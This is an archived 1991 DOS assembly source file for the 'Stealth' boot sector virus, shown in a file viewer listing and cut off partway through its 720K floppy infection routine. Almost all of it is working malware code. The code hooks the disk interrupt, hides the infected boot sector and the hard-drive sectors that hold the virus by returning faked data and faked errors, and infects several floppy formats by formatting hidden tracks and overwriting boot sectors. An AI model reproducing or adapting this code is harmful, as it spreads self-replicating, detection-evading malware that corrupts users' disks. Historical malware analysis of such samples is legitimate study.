home *** CD-ROM | disk | FTP | other *** search
/ HPAVC / HPAVC CD-ROM.iso / SOURCE.ZIP / STEALTH.ASM < prev    next >
Assembly Source File  |  1991-04-01  |  54KB  |  1,219 lines

  1. ;The Stealth Virus is a boot sector virus which remains resident in memory
  2. ;after boot so it can infect disks. It hides itself on the disk and includes
  3. ;special anti-detection interrupt traps so that it is very difficult to
  4. ;locate. This is a very infective and crafty virus.
  5.  
  6. COMSEG  SEGMENT PARA
  7.         ASSUME  CS:COMSEG,DS:COMSEG,ES:COMSEG,SS:COMSEG
  8.  
  9.         ORG     100H
  10.  
  11. START:
  12.         jmp     BOOT_START
  13.  
  14. ;*******************************************************************************
  15. ;* BIOS DATA AREA                                                              *
  16. ;*******************************************************************************
  17.  
  18.         ORG     413H
  19.  
  20. MEMSIZE DW      640                     ;size of memory installed, in KB
  21.  
  22. ;*******************************************************************************
  23. ;* VIRUS CODE STARTS HERE                                                      *
  24. ;*******************************************************************************
  25.  
  26.         ORG     7000H
  27.  
  28. STEALTH:                                ;A label for the beginning of the virus
  29.  
  30.  
  31. ;*******************************************************************************
  32. ;Format data consists of Track #, Head #, Sector # and Sector size code (2=512b)
  33. ;for every sector on the track. This is put at the very start of the virus so
  34. ;that when sectors are formatted, we will not run into a DMA boundary, which
  35. ;would cause the format to fail. This is a false error, but one that happens
  36. ;with some BIOS's, so we avoid it by putting this data first.
  37. FMT_12M:        ;Format data for Track 80, Head 1 on a 1.2 Meg diskette,
  38.         DB      80,1,1,2, 80,1,2,2, 80,1,3,2, 80,1,4,2, 80,1,5,2, 80,1,6,2
  39.  
  40. FMT_360:        ;Format data for Track  40, Head 1 on a 360K diskette
  41.         DB      40,1,1,2, 40,1,2,2, 40,1,3,2, 40,1,4,2, 40,1,5,2, 40,1,6,2
  42.  
  43.  
  44. ;*******************************************************************************
  45. ;* INTERRUPT 13H HANDLER                                                       *
  46. ;*******************************************************************************
  47.  
  48. OLD_13H DD      ?                       ;Old interrupt 13H vector goes here
  49.  
  50. INT_13H:
  51.         sti
  52.         cmp     ah,2                    ;we want to intercept reads
  53.         jz      READ_FUNCTION
  54.         cmp     ah,3                    ;and writes to all disks
  55.         jz      WRITE_FUNCTION
  56. I13R:   jmp     DWORD PTR cs:[OLD_13H]
  57.  
  58.  
  59. ;*******************************************************************************
  60. ;This section of code handles all attempts to access the Disk BIOS Function 2,
  61. ;(Read). It checks for several key situations where it must jump into action.
  62. ;they are:
  63. ;       1) If an attempt is made to read the boot sector, it must be processed
  64. ;          through READ_BOOT, so an infected boot sector is never seen. Instead,
  65. ;          the original boot sector is read.
  66. ;       2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
  67. ;          drive C are read, they are processed by READ_HARD, so the virus
  68. ;          code is never seen on the hard drive.
  69. ;       3) If an attempt is made to read Track 1, Head 0, Sector 1 on the
  70. ;          floppy, this routine checks to see if the floppy has already been
  71. ;          infected, and if not, it goes ahead and infects it.
  72.  
  73. READ_FUNCTION:                                  ;Disk Read Function Handler
  74.         cmp     dh,0                            ;is it head 0?
  75.         jnz     I13R                            ;nope, let BIOS handle it
  76.         cmp     ch,1                            ;is it track 1?
  77.         jz      RF0                             ;yes, go do special processing
  78.         cmp     ch,0                            ;is it track 0?
  79.         jnz     I13R                            ;no, let BIOS handle it
  80.         cmp     cl,1                            ;track 0, is it sector 1
  81.         jz      READ_BOOT                       ;yes, go handle boot sector read
  82.         cmp     dl,80H                          ;no, is it hard drive c:?
  83.         jz      RF1                             ;yes, go check further
  84.         jmp     I13R                            ;else let BIOS handle it
  85.  
  86. RF0:    cmp     dl,80H                          ;is it hard disk?
  87.         jnc     I13R                            ;yes, let BIOS handle read
  88.         cmp     cl,1                            ;no, floppy, is it sector 1?
  89.         jnz     I13R                            ;no, let BIOS handle it
  90.         call    CHECK_DISK                      ;is floppy already infected?
  91.         jz      I13R                            ;yes so let BIOS handle it
  92.         call    INFECT_FLOPPY                   ;no, go infect the diskette
  93.         jmp     SHORT I13R                      ;and then let BIOS do the read
  94.  
  95. RF1:    cmp     cl,8                            ;sector < 8?
  96.         jnc     I13R                            ;nope, let BIOS handle it
  97.         jmp     READ_HARD                       ;yes, divert read on the C drive
  98.  
  99.  
  100. ;*******************************************************************************
  101. ;This section of code handles all attempts to access the Disk BIOS Function 3,
  102. ;(Write). It checks for two key situations where it must jump into action. They
  103. ;are:
  104. ;       1) If an attempt is made to write the boot sector, it must be processed
  105. ;          through WRITE_BOOT, so an infected boot sector is never overwritten.
  106. ;          instead, the write is redirected to where the original boot sector is
  107. ;          hidden.
  108. ;       2) If any of the infected sectors, Track 0, Head 0, Sector 2-7 on
  109. ;          drive C are written, they are processed by WRITE_HARD, so the virus
  110. ;          code is never overwritten.
  111.  
  112. WRITE_FUNCTION:                                 ;BIOS Disk Write Function
  113.         cmp     dh,0                            ;is it head 0?
  114.         jnz     I13R                            ;nope, let BIOS handle it
  115.         cmp     ch,0                            ;is it track 0?
  116.         jnz     I13R                            ;nope, let BIOS handle it
  117.         cmp     cl,1                            ;is it sector 1
  118.         jnz     WF1                             ;nope, check for hard drive
  119.         jmp     WRITE_BOOT                      ;yes, go handle boot sector read
  120. WF1:    cmp     dl,80H                          ;is it the hard drive c: ?
  121.         jnz     I13R                            ;no, another hard drive
  122.         cmp     cl,8                            ;sector < 8?
  123.         jnc     I13R                            ;nope, let BIOS handle it
  124.         jmp     WRITE_HARD                      ;else take care of writing to C:
  125.  
  126.  
  127. ;*******************************************************************************
  128. ;This section of code handles reading the boot sector. There are three
  129. ;possibilities: 1) The disk is not infected, in which case the read should be
  130. ;passed directly to BIOS, 2) The disk is infected and only one sector is
  131. ;requested, in which case this routine figures out where the original boot
  132. ;sector is and reads it, and 3) The disk is infected and more than one sector
  133. ;is requested, in which case this routine breaks the read up into two calls to
  134. ;the ROM BIOS, one to fetch the original boot sector, and another to fetch the
  135. ;additional sectors being read. One of the complexities in this last case is
  136. ;that the routine must return the registers set up as if only one read had
  137. ;been performed.
  138. ;  To determine if the disk is infected, the routine reads the real boot sector
  139. ;into SCRATCHBUF and calls IS_VBS. If that returns affirmative (z set), then
  140. ;this routine goes to get the original boot sector, etc., otherwise it calls ROM
  141. ;BIOS and allows a second read to take place to get the boot sector into the
  142. ;requested buffer at es:bx.
  143.  
  144. READ_BOOT:
  145.         push    ax                              ;save registers
  146.         push    bx
  147.         push    cx
  148.         push    dx
  149.         push    ds
  150.         push    es
  151.         push    bp
  152.  
  153.         push    cs                              ;set ds=es=cs
  154.         pop     es
  155.         push    cs
  156.         pop     ds
  157.         mov     bp,sp                           ;and bp=sp
  158.  
  159. RB001:  mov     al,dl
  160.         call    GET_BOOT_SEC                    ;read the real boot sector
  161.         jnc     RB01                            ;ok, go on
  162.         call    GET_BOOT_SEC                    ;do it again to make sure
  163.         jnc     RB01                            ;ok, go on
  164.         jmp     RB_GOON                         ;error, let BIOS return err code
  165. RB01:   call    IS_VBS                          ;is it the viral boot sector?
  166.         jz      RB02                            ;yes, jump
  167.         jmp     RB_GOON                         ;no, let ROM BIOS read sector
  168. RB02:;  mov     bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)    
  169.     mov    bx,OFFSET SB_DR_FLAG        ;required instead of ^ for a86
  170.  
  171.         mov     al,BYTE PTR [bx]                ;get disk type of disk being
  172.         cmp     al,80H                          ;read, and make an index of it
  173.         jnz     RB1
  174.         mov     al,4
  175. RB1:    mov     bl,3                            ;to look up location of boot sec
  176.         mul     bl
  177.         add     ax,OFFSET BOOT_SECTOR_LOCATION  ;ax=@BOOT_SECTOR_LOCATION table
  178.         mov     bx,ax
  179.         mov     ch,[bx]                         ;get track of orig boot sector
  180.         mov     dh,[bx+1]                       ;get head of orig boot sector
  181.         mov     cl,[bx+2]                       ;get sector of orig boot sector
  182.         mov     dl,ss:[bp+6]                    ;get drive from original spec
  183.         mov     bx,ss:[bp+10]                   ;get read buffer offset
  184.         mov     ax,ss:[bp+2]                    ;and segment
  185.         mov     es,ax                           ;from original specification
  186.         mov     ax,201H                         ;prepare to read 1 sector
  187.         pushf
  188.         call    DWORD PTR [OLD_13H]             ;do BIOS int 13H
  189.         mov     al,ss:[bp+12]                   ;see if original request
  190.         cmp     al,1                            ;was for more than one sector
  191.         jz      RB_EXIT                         ;no, go exit
  192.  
  193. READ_1NEXT:                                     ;more than 1 sec requested, so
  194.         pop     bp                              ;read the rest as a second call
  195.         pop     es                              ;to BIOS
  196.         pop     ds
  197.         pop     dx                              ;first restore these registers
  198.         pop     cx
  199.         pop     bx
  200.         pop     ax
  201.  
  202.         add     bx,512                          ;prepare to call BIOS for
  203.         push    ax                              ;balance of read
  204.         dec     al                              ;get registers straight for it
  205.         inc     cl
  206.  
  207.         cmp     dl,80H                          ;is it the hard drive?
  208.         jnz     RB15                            ;nope, go handle floppy
  209.  
  210.         push    bx                              ;handle an infected hard drive
  211.         push    cx                              ;by faking read on extra sectors
  212.         push    dx                              ;and returning a block of 0's
  213.         push    si
  214.         push    di
  215.         push    ds
  216.         push    bp
  217.  
  218.         push    es
  219.         pop     ds                              ;ds=es
  220.  
  221.         mov     BYTE PTR [bx],0                 ;set first byte in buffer = 0
  222.         mov     si,bx
  223.         mov     di,bx
  224.         inc     di
  225.         mov     ah,0                            ;ax=number of sectors to read
  226.         mov     bx,512                          ;bytes per sector
  227.         mul     bx                              ;# of bytes to read in dx:ax<64K
  228.         mov     cx,ax
  229.         dec     cx                              ;number of bytes to move in cx
  230.         rep     movsb                           ;fill buffer with 0's
  231.  
  232.         clc                                     ;clear c, fake read successful
  233.         pushf                                   ;then restore everyting properly
  234.         pop     ax                              ;first set flag register
  235.         mov     ss:[bp+20],ax                   ;as stored on the stack
  236.         pop     bp                              ;and pop all registers
  237.         pop     ds
  238.         pop     di
  239.         pop     si
  240.         pop     dx
  241.         pop     cx
  242.         pop     bx
  243.         pop     ax
  244.         mov     ah,0
  245.         dec     cl
  246.         sub     bx,512
  247.         iret                                    ;and get out
  248.  
  249. RB15:                                           ;read next sectors on floppy
  250.         pushf                                   ;call BIOS to
  251.         call    DWORD PTR cs:[OLD_13H]          ;read the rest (must use cs)
  252.         push    ax
  253.         push    bp
  254.         mov     bp,sp
  255.         pushf                                   ;use c flag from BIOS call
  256.         pop     ax                              ;to set c flag on the stack
  257.         mov     ss:[bp+10],ax
  258.         jc      RB2                             ;if error, return ah from 2nd rd
  259.         sub     bx,512                          ;else restore registers so
  260.         dec     cl                              ;it looks as if only one read
  261.         pop     bp                              ;was performed
  262.         pop     ax
  263.         pop     ax                              ;and exit with ah=0 to indicate
  264.         mov     ah,0                            ;successful read
  265.         iret
  266.  
  267. RB2:    pop     bp                              ;error on 2nd read
  268.         pop     ax                              ;so clean up stack
  269.         add     sp,2                            ;and get out
  270.         iret
  271.  
  272. RB_EXIT:                                        ;exit from single sector read
  273.         mov     ax,ss:[bp+18]                   ;set the c flag on the stack
  274.         push    ax                              ;to indicate successful read
  275.         popf
  276.         clc
  277.         pushf
  278.         pop     ax
  279.         mov     ss:[bp+18],ax
  280.         pop     bp                              ;restore all registers
  281.         pop     es
  282.         pop     ds
  283.         pop     dx
  284.         pop     cx
  285.         pop     bx
  286.         pop     ax
  287.         mov     ah,0
  288.         iret                                    ;and get out
  289.  
  290. RB_GOON:                                        ;This passes control to BIOS
  291.         pop     bp                              ;for uninfected disks
  292.         pop     es                              ;just restore all registers to
  293.         pop     ds                              ;their original values
  294.         pop     dx
  295.         pop     cx
  296.         pop     bx
  297.         pop     ax
  298.         jmp     I13R                            ;and go jump to BIOS
  299.  
  300.  
  301. ;*******************************************************************************
  302. ;This table identifies where the original boot sector is located for each
  303. ;of the various disk types. It is used by READ_BOOT and WRITE_BOOT to redirect
  304. ;boot sector reads and writes.
  305.  
  306. BOOT_SECTOR_LOCATION:
  307.         DB      40,1,6                          ;Track, head, sector, 360K drive
  308.         DB      80,1,6                          ;1.2M drive
  309.         DB      79,1,9                          ;720K drive
  310.         DB      79,1,18                         ;1.44M drive
  311.         DB      0,0,7                           ;Hard drive
  312.  
  313.  
  314. ;*******************************************************************************
  315. ;This routine handles writing the boot sector for all disks. It checks to see
  316. ;if the disk has been infected, and if not, allows BIOS to handle the write.
  317. ;If the disk is infected, this routine redirects the write to put the boot
  318. ;sector being written in the reserved area for the original boot sector. It
  319. ;must also handle the writing of multiple sectors properly, just as READ_BOOT
  320. ;did.
  321.  
  322. WRITE_BOOT:
  323.         push    ax                              ;save everything we might change
  324.         push    bx
  325.         push    cx
  326.         push    dx
  327.         push    ds
  328.         push    es
  329.         push    bp
  330.         mov     bp,sp
  331.  
  332.         push    cs                              ;ds=es=cs
  333.         pop     ds
  334.         push    cs
  335.         pop     es
  336.  
  337.         mov     al,dl
  338.         call    GET_BOOT_SEC                    ;read the real boot sector
  339.         jnc     WB01
  340.         call    GET_BOOT_SEC                    ;do it again if first failed
  341.         jnc     WB01
  342.         jmp     WB_GOON                         ;error on read, let BIOS take it
  343. WB01:   call    IS_VBS                          ;else, is disk infected?
  344.         jz      WB02                            ;yes
  345.         jmp     WB_GOON                         ;no, let ROM BIOS write sector
  346. WB02:;  mov     bx,OFFSET SCRATCHBUF + (OFFSET DR_FLAG - OFFSET BOOT_START)
  347.     mov    bx,OFFSET SB_DR_FLAG        ;required instead of ^ for a86
  348.  
  349.         mov     al,BYTE PTR [bx]
  350.         cmp     al,80H                          ;infected, so redirect the write
  351.         jnz     WB1
  352.         mov     al,4                            ;make an index of the drive type
  353. WB1:    mov     bl,3
  354.         mul     bl
  355.         add     ax,OFFSET BOOT_SECTOR_LOCATION  ;ax=@table entry
  356.         mov     bx,ax
  357.         mov     ch,[bx]                         ;get the location of original
  358.         mov     dh,[bx+1]                       ;boot sector on disk
  359.         mov     cl,[bx+2]                       ;prepare for the write
  360.         mov     dl,ss:[bp+6]
  361.         mov     bx,ss:[bp+10]
  362.         mov     ax,ss:[bp+2]
  363.         mov     es,ax
  364.         mov     ax,301H
  365.         pushf
  366.         call    DWORD PTR [OLD_13H]             ;and do it
  367.         sti
  368.         mov     dl,ss:[bp+6]
  369.         cmp     dl,80H                          ;was write going to hard drive?
  370.         jnz     WB_15                           ;no
  371.         mov     BYTE PTR [DR_FLAG],80H          ;yes, update partition info
  372.         push    si
  373.         push    di
  374.         mov     di,OFFSET PART                  ;just move it from sec we just
  375.         mov     si,ss:[bp+10]                   ;wrote into the viral boot sec
  376.         add     si,OFFSET PART 
  377.     sub    si,OFFSET BOOT_START
  378.         push    es
  379.         pop     ds
  380.         push    cs
  381.         pop     es                              ;switch ds and es around
  382.         mov     cx,20
  383.         rep     movsw                           ;and do the move
  384.         push    cs
  385.         pop     ds
  386.         mov     ax,301H
  387.         mov     bx,OFFSET BOOT_START
  388.         mov     cx,1                            ;Track 0, Sector 1
  389.         mov     dx,80H                          ;drive 80H, Head 0
  390.         pushf                                   ;go write updated viral boot sec
  391.         call    DWORD PTR [OLD_13H]             ;with new partition info
  392.         pop     di                              ;clean up
  393.         pop     si
  394.  
  395. WB_15:  mov     al,ss:[bp+12]
  396.         cmp     al,1                            ;was write more than 1 sector?
  397.         jz      WB_EXIT                         ;if not, then exit
  398.  
  399. WRITE_1NEXT:                                    ;more than 1 sector
  400.         mov     dl,ss:[bp+6]                    ;see if it's the hard drive
  401.         cmp     dl,80H
  402.         jz      WB_EXIT                         ;if so, ignore rest of the write
  403.         pop     bp                              ;floppy drive, go write the rest
  404.         pop     es                              ;as a second call to BIOS
  405.         pop     ds
  406.         pop     dx
  407.         pop     cx                              ;restore all registers
  408.         pop     bx
  409.         pop     ax
  410.         add     bx,512                          ;and modify a few to
  411.         push    ax                              ;drop writing the first sector
  412.         dec     al
  413.         inc     cl
  414.         pushf
  415.         call    DWORD PTR cs:[OLD_13H]          ;go write the rest
  416.         sti
  417.         push    ax
  418.         push    bp
  419.         mov     bp,sp
  420.         pushf                                   ;use c flag from call
  421.         pop     ax                              ;to set c flag on the stack
  422.         mov     ss:[bp+10],ax
  423.         jc      WB2                             ;an error
  424.                                                 ;so exit with ah from 2nd int 13
  425.         sub     bx,512
  426.         dec     cl
  427.         pop     bp
  428.         pop     ax
  429.         pop     ax                              ;else exit with ah=0
  430.         mov     ah,0                            ;to indicate success
  431.         iret
  432.  
  433. WB2:    pop     bp                              ;exit with ah from 2nd
  434.         pop     ax                              ;interrupt
  435.         add     sp,2
  436.         iret
  437.  
  438.  
  439. WB_EXIT:                                        ;exit after 1st write
  440.         mov     ax,ss:[bp+18]                   ;set carry on stack to indicate
  441.         push    ax                              ;a successful write operation
  442.         popf
  443.         clc
  444.         pushf
  445.         pop     ax
  446.         mov     ss:[bp+18],ax
  447.         pop     bp                              ;restore all registers and exit
  448.         pop     es
  449.         pop     ds
  450.         pop     dx
  451.         pop     cx
  452.         pop     bx
  453.         pop     ax
  454.         mov     ah,0
  455.         iret
  456.  
  457. WB_GOON:                                        ;pass control to ROM BIOS
  458.         pop     bp                              ;just restore all registers
  459.         pop     es
  460.         pop     ds
  461.         pop     dx
  462.         pop     cx
  463.         pop     bx
  464.         pop     ax
  465.         jmp     I13R                            ;and go do it
  466.  
  467.  
  468. ;*******************************************************************************
  469. ;Read hard disk sectors on Track 0, Head 0, Sec > 1. If the disk is infected,
  470. ;then instead of reading the true data there, return a block of 0's, since
  471. ;0 is the data stored in a freshly formatted but unused sector. This will
  472. ;fake the caller out and keep him from knowing that the virus is hiding there.
  473. ;If the disk is not infected, return the true data stored in those sectors.
  474.  
  475. READ_HARD:
  476.         call    CHECK_DISK                      ;see if disk is infected
  477.         jnz     RWH_EX                          ;no, let BIOS handle the read
  478.         push    ax                              ;else save registers
  479.         push    bx
  480.         push    cx
  481.         push    dx
  482.         push    si
  483.         push    di
  484.         push    ds
  485.         push    bp
  486.         mov     bp,sp
  487.         mov     BYTE PTR es:[bx],0              ;zero the first byte in the blk
  488.         push    es
  489.         pop     ds
  490.         mov     si,bx                           ;set up es:di and ds:si
  491.         mov     di,bx                           ;for a transfer
  492.         inc     di
  493.         mov     ah,0                            ;ax=number of sectors to read
  494.         mov     bx,512                          ;bytes per sector
  495.         mul     bx                              ;number of bytes to read in ax
  496.         mov     cx,ax
  497.         dec     cx                              ;number of bytes to move
  498.         rep     movsb                           ;do fake read of all 0's
  499.  
  500.         mov     ax,ss:[bp+20]                   ;now set c flag
  501.         push    ax                              ;to indicate succesful read
  502.         popf
  503.         clc
  504.         pushf
  505.         pop     ax
  506.         mov     ss:[bp+20],ax
  507.  
  508.         pop     bp                              ;restore everything and exit
  509.         pop     ds
  510.         pop     di
  511.         pop     si
  512.         pop     dx
  513.         pop     cx
  514.         pop     bx
  515.         pop     ax
  516.         mov     ah,0                            ;set to indicate successful read
  517.         iret
  518.  
  519. RWH_EX: jmp     I13R                            ;pass control to BIOS
  520.  
  521.  
  522. ;*******************************************************************************
  523. ;Handle writes to hard disk Track 0, Head 0, 1<Sec<8. We must stop the write if
  524. ;the disk is infected. Instead, fake the return of an error by setting carry
  525. ;and returning ah=4 (sector not found).
  526.  
  527. WRITE_HARD:
  528.         call    CHECK_DISK                      ;see if the disk is infected
  529.         jnz     RWH_EX                          ;no, let BIOS handle it all
  530.         push    bp                              ;yes, infected, so . . .
  531.         push    ax
  532.         mov     bp,sp
  533.         mov     ax,ss:[bp+8]                    ;get flags off of stack
  534.         push    ax
  535.         popf                                    ;put them in current flags
  536.         stc                                     ;set the carry flag
  537.         pushf
  538.         pop     ax
  539.         mov     ss:[bp+8],ax                    ;and put flags back on stack
  540.         pop     ax
  541.         mov     ah,4                            ;set up sector not found error
  542.         pop     bp
  543.         iret                                    ;and get out of ISR
  544.  
  545.  
  546. ;*******************************************************************************
  547. ;See if disk dl is infected already. If so, return with Z set. This
  548. ;does not assume that registers have been saved, and saves/restores everything
  549. ;but the flags.
  550.  
  551. CHECK_DISK:
  552.         push    ax                              ;save everything
  553.         push    bx
  554.         push    cx
  555.         push    dx
  556.         push    ds
  557.         push    es
  558.         push    cs
  559.         pop     ds
  560.         push    cs
  561.         pop     es
  562.         mov     al,dl
  563.         call    GET_BOOT_SEC                    ;read the boot sector
  564.         jnc     CD1
  565.         xor     al,al                           ;act as if infected
  566.         jmp     SHORT CD2                       ;in the event of an error
  567. CD1:    call    IS_VBS                          ;see if viral boot sec (set z)
  568. CD2:    pop     es                              ;restore everything
  569.         pop     ds                              ;except the z flag
  570.         pop     dx
  571.         pop     cx
  572.         pop     bx
  573.         pop     ax
  574.         ret
  575.  
  576.  
  577. ;*******************************************************************************
  578. ;This routine determines from the boot sector parameters what kind of floppy
  579. ;disk is in the drive being accessed, and calls the proper infection routine
  580. ;to infect the drive. It has no safeguards to prevent infecting an already
  581. ;infected disk. the routine CHECK_DISK must be called first to make sure you
  582. ;want to infect before you go and do it. This restores all registers to their
  583. ;initial state.
  584.  
  585. INFECT_FLOPPY:
  586.         pushf                                   ;save everything
  587.         push    si
  588.         push    di
  589.         push    ax
  590.         push    bx
  591.         push    cx
  592.         push    dx
  593.         push    ds
  594.         push    es
  595.         push    cs
  596.         pop     es
  597.         push    cs
  598.         pop     ds
  599.         sti
  600.         mov     bx,OFFSET SCRATCHBUF + 13H      ;@ of sec cnt in boot sector
  601.         mov     bx,[bx]                         ;get sector count for this disk
  602.         mov     al,dl
  603.         cmp     bx,720                          ;is it 360K? (720 sectors)
  604.         jnz     IF_1                            ;no, try another possibility
  605.         call    INFECT_360K                     ;yes, infect it
  606.         jmp     SHORT IF_R                      ;and get out
  607. IF_1:   cmp     bx,2400                         ;is it 1.2M? (2400 sectors)
  608.         jnz     IF_2                            ;no, try another possibility
  609.         call    INFECT_12M                      ;yes, infect it
  610.         jmp     SHORT IF_R                      ;and get out
  611. IF_2:   cmp     bx,1440                         ;is it 720K 3 1/2"? (1440 secs)
  612.         jnz     IF_3                            ;no, try another possibility
  613.         call    INFECT_720K                     ;yes, infect it
  614.         jmp     SHORT IF_R                      ;and get out
  615. IF_3:   cmp     bx,2880                         ;is it 1.44M 3 1/2"? (2880 secs)
  616.         jnz     IF_R                            ;no - don't infect this disk
  617.         call    INFECT_144M                     ;yes - infect it
  618. IF_R:   pop     es                              ;restore everyting and return
  619.         pop     ds
  620.         pop     dx
  621.         pop     cx
  622.         pop     bx
  623.         pop     ax
  624.         pop     di
  625.         pop     si
  626.         popf
  627.         ret
  628.  
  629.  
  630. ;*******************************************************************************
  631. ;Infect a 360 Kilobyte drive. This is done by formatting Track 40, Head 0,
  632. ;Sectors 1 to 6, putting the present boot sector in Sector 6 with the virus
  633. ;code in sectors 1 through 5, and then replacing the boot sector on the disk
  634. ;with the viral boot sector.
  635.  
  636. INFECT_360K:
  637.         call    FORMAT_360                      ;format the required sectors
  638.         jc      INF360_EXIT
  639.  
  640.         mov     bx,OFFSET SCRATCHBUF            ;and go write current boot sec
  641.         push    ax                              ;at Track 40, Head 1, Sector 6
  642.         mov     dl,al
  643.         mov     dh,1                            ;head 1
  644.         mov     cx,2806H                        ;track 40, sector 6
  645.         mov     ax,0301H                        ;BIOS write, for 1 sector
  646.         pushf
  647.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  648.         pop     ax
  649.         jc      INF360_EXIT
  650.  
  651.         mov     di,OFFSET BOOT_DATA
  652. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  653.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  654.  
  655.         mov     cx,32H / 2                      ;copy boot sector disk info over
  656.         rep     movsw                           ;to new boot sector
  657.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  658.         mov     BYTE PTR [BOOT_START + 1FDH],al
  659.         mov     BYTE PTR [DR_FLAG],0            ;set proper drive type
  660.  
  661.         push    ax                              ;write new boot sector to disk
  662.         mov     bx,OFFSET BOOT_START            ;buffer for the new boot sector
  663.         call    PUT_BOOT_SEC                    ;go write it to disk
  664.         pop     ax
  665.         jc      INF360_EXIT
  666.  
  667.         mov     bx,OFFSET STEALTH               ;buffer for 5 secs of stealth
  668.         mov     dl,al                           ;drive to write to
  669.         mov     dh,1                            ;head 1
  670.         mov     cx,2801H                        ;track 40, sector 1
  671.         mov     ax,0305H                        ;write 5 sectors
  672.         pushf
  673.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  674. INF360_EXIT:
  675.         ret                                     ;all done
  676.  
  677.  
  678. ;This routine formats Track 40, Head 1 so we can infect a 360k diskette.
  679. FORMAT_360:
  680.         push    ax                              ;save drive number in al
  681.         mov     dl,al                           ;dl=drive no.
  682.         mov     dh,1                            ;head 0
  683.         mov     cx,2801H                        ;track 40, start at sector 1
  684.         mov     ax,0506H                        ;format 6 sectors
  685.         mov     bx,OFFSET FMT_360               ;format info for this sector
  686.         pushf
  687.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  688.         pop     ax
  689.         ret
  690.  
  691.  
  692. ;*******************************************************************************
  693. ;Infect 1.2 megabyte Floppy Disk Drive AL with this virus. This is essentially
  694. ;the same as the 360K case, except we format Track 80 instead of track 40.
  695.  
  696. INFECT_12M:
  697.         call    FORMAT_12M                      ;format the required sectors
  698.         jc      INF12M_EXIT
  699.  
  700.         mov     bx,OFFSET SCRATCHBUF            ;and go boot sector at
  701.         push    ax
  702.         mov     dl,al
  703.         mov     dh,1                            ;head 1
  704.         mov     cx,5006H                        ;track 80, sector 6
  705.         mov     ax,0301H                        ;BIOS write, for 1 sector
  706.         pushf
  707.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  708.         pop     ax
  709.         jc      INF12M_EXIT
  710.  
  711.         mov     di,OFFSET BOOT_DATA
  712. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  713.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  714.  
  715.         mov     cx,32H / 2                      ;copy boot sector disk info over
  716.         rep     movsw                           ;to new (viral) boot sector
  717.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  718.         mov     BYTE PTR [BOOT_START + 1FDH],al
  719.         mov     BYTE PTR [DR_FLAG],1            ;set proper diskette type
  720.  
  721.         push    ax                              ;and write viral boot sec to disk
  722.         mov     bx,OFFSET BOOT_START            ;buffer for viral boot sector
  723.         call    PUT_BOOT_SEC                    ;go write it to disk
  724.         pop     ax
  725.         jc      INF12M_EXIT
  726.  
  727.         mov     bx,OFFSET STEALTH               ;buffer for 5 secs of stealth
  728.         mov     dl,al                           ;drive to write to
  729.         mov     dh,1                            ;head 1
  730.         mov     cx,5001H                        ;track 80, sector 1
  731.         mov     ax,0305H                        ;write 5 sectors
  732.         pushf
  733.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  734. INF12M_EXIT:
  735.         ret                                     ;all done
  736.  
  737.  
  738. ;Format Track 80, Head 1 so we can infect a 1.2 Meg diskette.
  739. FORMAT_12M:
  740.         push    ax
  741.         mov     dl,al                           ;set drive number
  742.         mov     dh,1                            ;head 1
  743.         mov     cx,5001H                        ;track 80, start at sector 1
  744.         mov     ax,0506H                        ;format 6 sectors
  745.         mov     bx,OFFSET FMT_12M               ;format info for this sector
  746.         pushf
  747.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  748.         pop     ax
  749.         ret
  750.  
  751.  
  752. ;*******************************************************************************
  753. ;Infect a 3 1/2" 720K drive. This process is a little different than for 5 1/4"
  754. ;drives. The virus goes in an existing data area on the disk, so no formatting
  755. ;is required. Instead, we 1) Read the boot sector and put it at Track 79, Head 1
  756. ;sector 9, 2) Put the five sectors of stealth routines at Track 79, Head 1,
  757. ;sector 4-8, 3) Put the viral boot sector at Track 0, Head 0, Sector 1, and
  758. ;4) Mark the diskette's FAT to indicate that the last three clusters are bad,
  759. ;so that DOS will not attempt to overwrite the virus code.
  760.  
  761. INFECT_720K:
  762.         mov     bx,OFFSET SCRATCHBUF            ;go write boot sec at
  763.         push    ax
  764.         mov     dl,al
  765.         mov     dh,1                            ;head 1
  766.         mov     cx,4F09H                        ;track 79, sector 9
  767.         mov     ax,0301H                        ;BIOS write, for 1 sector
  768.         pushf
  769.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  770.         pop     ax
  771.         jc      INF720K_EXIT                    ;exit on error
  772.  
  773.         push    ax
  774.         mov     di,OFFSET BOOT_DATA
  775. ;       mov     si,OFFSET SCRATCHBUF + (OFFSET BOOT_DATA - OFFSET BOOT_START)
  776.     mov    si,OFFSET SB_BOOT_DATA        ;required instead of ^ for A86
  777.  
  778.         mov     cx,32H / 2                      ;copy boot sector disk info over
  779.         rep     movsw                           ;to new boot sector
  780.         mov     al,BYTE PTR [SCRATCHBUF + 1FDH] ;copy drive letter there as well
  781.         mov     BYTE PTR [BOOT_START + 1FDH],al
  782.         mov     BYTE PTR [DR_FLAG],2            ;set proper diskette type
  783.         pop     ax
  784.  
  785.         push    ax                              ;write new boot sector to disk
  786.         mov     bx,OFFSET BOOT_START
  787.         call    PUT_BOOT_SEC                    ;go write it
  788.         pop     ax
  789.         jc      INF720K_EXIT
  790.  
  791.         mov     bx,OFFSET STEALTH               ;buffer for 5 sectors of stealth
  792.         mov     dl,al                           ;drive to write to
  793.         mov     dh,1                            ;head 1
  794.         mov     cx,4F04H                        ;track 79, sector 4
  795.         mov     ax,0305H                        ;write 5 sectors
  796.         pushf
  797.         call    DWORD PTR [OLD_13H]             ;(int 13H)
  798.         jc      INF720K_EXIT
  799.  
  800.         mov     bx,OFFSET SCRATCHBUF            ;now modify the FAT
  801.         mov     ax,0201H                        ;first read 1 sector
  802.         mov     cx,4                            ;track 0, sector 4, head 0
  803.         mov     dh,0
  804.         pushf
